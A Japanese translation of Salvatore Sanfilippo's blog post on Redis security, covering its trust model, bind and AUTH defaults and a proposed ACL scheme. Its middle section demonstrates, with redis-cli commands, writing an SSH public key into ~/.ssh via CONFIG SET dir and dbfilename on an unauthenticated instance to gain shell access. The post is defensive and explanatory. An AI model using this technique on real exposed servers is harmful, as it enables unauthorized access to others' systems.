A few things about Redis security

Salvatore Sanfilippo

Redisのセキュリティについていくつか

重要な追記:Redis 3.2では、protected modeの実装によってセキュリティが改善されました。詳しくはこちらをご覧ください: https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/

ときどき、Redisに関するセキュリティ報告を受け取ります。報告をもらえるのはよいことですが、Redisは、こちらのセキュリティページ http://redis.io/topics/security で説明しているとおり、外部に公開すれば完全に無防備になるよう設計されたソフトウェアです。それなのに、Luaサンドボックスからの脱出や、安全でない一時ファイルの作成などについて報告されることが多いのは、少し妙な話です。

とはいえ、こうしたバグ報告が役に立つことはよくあります。一般的なソフトウェアでもRedisでも、セキュリティにはさまざまな段階があるからです。データベースにアクセスできる場合に何ができるのか。データベースの内容を変更できるだけなのか、それともRedisが動作しているローカルシステムまで侵害できるのか。

システムにおける特定のセキュリティ層がどれほど重要かは、そのシステムのセキュリティモデルによって決まります。たとえばWebサーバーのように、信頼できないユーザーがアクセスすることを前提に設計されたシステムでしょうか。ユーザーの種類ごとに異なる認可レベルがあるでしょうか。

Redisのセキュリティモデルは、「信頼できないクライアントにシステムへのアクセスを許すのは完全に危険なので、外部から自分で保護してください」というものです。基本的に、Redisのユースケースの99.99%はサンドボックス化された環境内にあるからです。セキュリティは複雑です。セキュリティ機能を追加すれば、複雑さも増します。0.01%のユースケースのために複雑さを増やすのは、あまりよいことではありません。しかしこれは設計思想の問題なので、もちろん異論はあるでしょう。

問題は、セキュリティページで何を説明していようと、意図せずインターネットに公開されているRedisインスタンスが数多く存在することです。外部のクライアントがRedisにアクセスする必要があるからではありません。ファイアウォールで外部からのアクセスを遮断したり、AUTHを有効にしたり、ローカルクライアントしかアクセスしないなら127.0.0.1にバインドしたりといった対策を、誰も取らなかったからです。

このRedisの開発者である私が、何の得もなくRedisを面白半分にクラックしてみる

Redisの「セキュリティモデル」を容赦なく示すため、5分ほどの簡単な実験をしてみました。セキュリティページでは、Redisを公開すると大きな問題が起きる可能性があるとほのめかしています。そこには、次のように書かれています。「CONFIGコマンドを使ってサーバー設定を制御できるため、クライアントはプログラムの作業ディレクトリとダンプファイルの名前を変更できます。これにより、クライアントは任意のパスにRDB Redisファイルを書き込めます。これは、Redisと同じユーザー権限で信頼できないコードを実行できる状態に容易につながり得るセキュリティ問題です」

実験の内容はこうです。現在の設定からコンピューターの設定を何も変えずに、MacBook Air上でRedisインスタンスを起動します。そして別のホストから、ノートパソコンを侵害できるか試します。

まず、前提条件としてインスタンスにアクセスできるか確認しましょう。

$ telnet 192.168.1.11 6379
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

アクセスできました。AUTHも必要ありません。パスワードを設定していないRedisは、その他の対策もなければ保護されていません。このような場合にできる最も簡単なことは、任意のファイルを書き込むことです。どうでしょう。私のMacBook Airでは、たまたまSSHサーバーが動いています。アクセス権を得るために、~/ssh/authorized_keysに何か書き込んでみるのはどうでしょうか。

まず、新しいSSH鍵を生成します。

$ ssh-keygen -t rsa -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
|          .   O+.|
|       . o o..o*o|
|      = . + .+ . |
|     o B o    .  |
|    . o S    E . |
|     .        o  |
|                 |
|                 |
|                 |
+-----------------+

これで鍵ができました。次の目標は、この鍵をRedisサーバーのメモリに入れ、あとでファイルに移すことです。その結果できるauthorized_keysファイルが、依然として有効なファイルになるようにします。これをRDB形式で行う場合、出力がバイナリになり、理論上は文字列が圧縮される可能性があるという問題があります。まあ、問題にはならないかもしれません。まず、生成したSSH公開鍵の前後に改行を追加します。

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

これでfoo.txtは、前後に改行を付けた公開鍵になりました。redis-cliを使って、この文字列をRedisのメモリに書き込めます。

~~~~~~~~~~~~~~~~~~~
注:この攻撃がそのままスクリプトキディにコピー&ペーストされるのを防ぐため、以下の手順は些細な点で変更しています。この攻撃が公開されて以来、世界中で複数のRedisインスタンスが侵害されたからです。
~~~~~~~~~~~~~~~~~~~

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dbfilename "backup.rdb"
OK
192.168.1.11:6379> save
OK
(Ctrl+C)

$ redis-cli -h 192.168.1.11 echo flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

うまくいったようです。では、メモリの内容をauthorized_keysファイルに書き出すにはどうすればよいでしょうか。とても簡単です。

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized.keys"
OK
192.168.1.11:6379> save
OK

この時点で、対象のauthorized keysファイルはゴミだらけになっているはずです。ただし、私たちの公開鍵も含まれているはずです。文字列には単純なパターンがないため、RDBファイル内で圧縮されている可能性は低いでしょう。では、SSHはこれほど壊れたファイルを問題なく解析し、その中にある唯一まともなエントリだけを受け入れるほど単純なのでしょうか。

$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Last login: Mon Nov  2 15:58:43 2015 from 192.168.1.10
~ ➤ hostname
Salvatores-MacBook-Air.local

そのとおりです。わずか5秒ほどで、Redisユーザーとして、きちんとしたシェル付きのアクセス権を取得できました。基本的には、保護されていないRedisインスタンスが「要求されたファイルに書き込む」サーバーになっていたおかげです。今回は、SSHが、壊れた鍵ばかりで構成されたファイルの中に1つだけあるエントリを理由にアクセスを拒否するほど慎重ではなかったことも影響しました。しかし、ここで問題なのはSSHではありません。いったんファイルに書き込めるようになれば、そこにバイナリのゴミが含まれていても、何らかの方法でシステムへのアクセスを得るのは時間の問題です。

このひどい状況をどう直すか

Redisは公開すれば安全でない、そしてRedisのセキュリティモデルは、認可された信頼できるクライアントだけがアクセスするというものだ、と私たちは説明しています。しかし残念ながら、それだけでは十分ではありません。ユーザーは依然としてRedisを保護せずに実行します。さらに悪いことに、デプロイ時のミスに対してRedisをより安全にすることと、開発目的や、制限が不要な安全な環境内で使う人にとってRedisを簡単に使えるようにすることの間には、緊張関係があります。

例を挙げましょう。新しいバージョンのRedisでは、付属するサンプルのredis.confがデフォルトで「bind 127.0.0.1」になっています。サーバーを引数なしで起動すると、依然としてすべてのインターフェースにバインドされます。Redisを開発用に使っている可能性が高いユーザーを困らせたくないからです。別のホストから接続できるようにするためだけにサンプルサーバーを再設定しなければならないのは、気にしない人たちに少しばかりのセキュリティを与える代償としては、かなり大きいでしょう。しかし、多くのユーザーが設定のテンプレートとして使うサンプルのredis.confは、デフォルトでローカルホストのインターフェースにバインドされます。これでデプロイ時のミスが減ることを期待しています。

ただし、この対策はあまり効果的ではありません。127.0.0.1へのバインドによって外部からクライアントを接続できないと気づいた、セキュリティに無頓着なユーザーの多くが、bindの行を削除して再起動するだけだからです。そして、また安全でない設定に戻ってしまいます。

つまり問題は、次の3つのバランスを見つけることです。

  1. 自分が何をしているか分かっている人が、煩わされずにRedisへアクセスできるようにする。
  2. 自分が何をしているか分かっていない人にとって、Redisをより安全にする。
  3. RTFMしろ、という理由で「2」ではなく「1」を優先したい私の偏り。

問題を緩和するユーザーACL

Redisを外部世界から「隔離」するという考え方に、冗長な安全策を加える方法の1つがAUTHコマンドです。仕組みはとても単純です。パスワードが必要になるようRedisを設定し、クライアントは設定されたパスワードを使ってAUTHコマンドで認証します。メカニズムは単純で、パスワードはハッシュ化されず、設定ファイル内にもアプリケーション内にも平文で記述されます。つまり共有秘密です。

TCP接続を盗聴する人やアプリケーションサーバーを侵害した人に対しては無力ですが、インターネット上に保護されていないRedisインスタンスを置いてしまうという明らかなミスに対しては、効果的なセキュリティ層になります。

AUTHについて、いくつか注意点があります。

  1. Redisをオラクルとして使えば、毎秒多数のパスワードを試すことができます。しかしパスワードは人間の記憶に保存する必要はなく、Redisの設定ファイルとクライアント設定に保存すればよいので、非常に長いものを選び、総当たりでは破れないようにしてください。
  2. AUTHは接続の作成時に送信されます。まともなアプリケーションの多くは永続的な接続を使うため、支払うコストはごく小さいものです。実行もGETやSETのように極めて高速なコマンドで、ディスクにも、その他の外部システムにもアクセスしません。
  3. 十分にサンドボックス化された環境でも、有効な保護層になります。何らかのミスでインスタンスが公開される可能性があるからです。インターネット上でなくても、少なくとも、本来そのインスタンスと通信できないはずのクライアントに公開される可能性があります。

さらなるセキュリティを得るには、AUTHを発展させるのが正しい道かもしれません。そこで少し前に、Redisに「実ユーザー」を追加する提案を公開しました: https://github.com/redis/redis-rcp/blob/master/RCP1.md

この提案では、基本的にACL付きのユーザーを追加します。動作や実行速度はAUTHと非常によく似ていますが、ユーザーごとに異なる権限を持たせられます。たとえば、通常のユーザーはデフォルトでは管理コマンドにアクセスできません。そのため、通常のユーザーは「CONFIG SET dir」を実行できず、上記のような問題も起きません。

デフォルトユーザーは通常のコマンドを実行できます(そのため、私に送られてきて、私が適用したLuaサンドボックスに関するパッチは、実際にとても役立ちます)。一方、管理コマンドを使うには管理者ユーザーを設定する必要があります。ただし、Redisをよりユーザーフレンドリーにするため、ループバックインターフェースからの接続であれば、空のパスワードを持つ「admin」ユーザーを常に用意して受け入れることもできるでしょう(ただし、この機能は無効にできる必要があります)。

ACLは完璧ではありませんが、いくつかの利点があります。Redisを適切な方法でインターネットに公開し、SSL経由でプロキシする場合、アクセス制御をもう1層追加するのは非常に有用です。SSLを使わず、ローカルクライアントだけを使う場合でも、クライアントが実行できる操作をより細かく制御して保護することには、いくつもの利点があります。たとえば、プログラミングや管理上のミスから守れます。通常のユーザーにはFLUSHALLやFLUSHDBを許可しない、Redis監視サービスのクライアントには、選択した少数のコマンドだけを許可するユーザーを使わせる、といったことが可能です。

インスタンスの保護を気にしないユーザーは、外部からアクセスできるデータベースを引き続き持つことになります。しかし、管理コマンドは利用できません。データベース内のデータという観点では依然として安全でないものの、Redisインスタンスを実行しているシステムという観点では、より安全になります。

基本的に、デフォルトでユーザーフレンドリーでありながら、公開IPアドレスにバインドしたインスタンスを起動してしまうというユーザーの重大なセキュリティミスにも耐えられるRedisを実現するのは不可能です。しかし、Redisプロセスと同じ権限で信頼できないコードを実行できてしまうようなAPIのバグを修正し、より慎重なデフォルト設定を提供し、ACL付きの複数ユーザーを実装すれば、何をしているか分かっている通常のRedisユーザーの体験に大きな影響を与えずに、Redisの現在のセキュリティ状況を改善できるでしょう。

さらにACLには、アプリケーション開発者が、アプリケーションのロジック上で特定のクライアントに実際に必要な制限に合わせてユーザーを作成できるという利点があります。そのため、ミスが大きな問題につながりにくくなります。

この単純なセキュリティ層でさえ、欠点はあります。複雑さが増すことです。特にレプリケーションやRedis Sentinelなど、この新しい状況で正常に動作するために、すべてが認証を認識する必要のあるシステムでは、その影響が大きくなります。それでも、おそらくこれは段階的に進めていくべき取り組みです。

Hacker News: https://news.ycombinator.com/item?id=10537852

Reddit: https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/

原文は Salvatore Sanfilippo により に公開されました。

この記事は「gpt-5.6-luna」を使用して翻訳されました。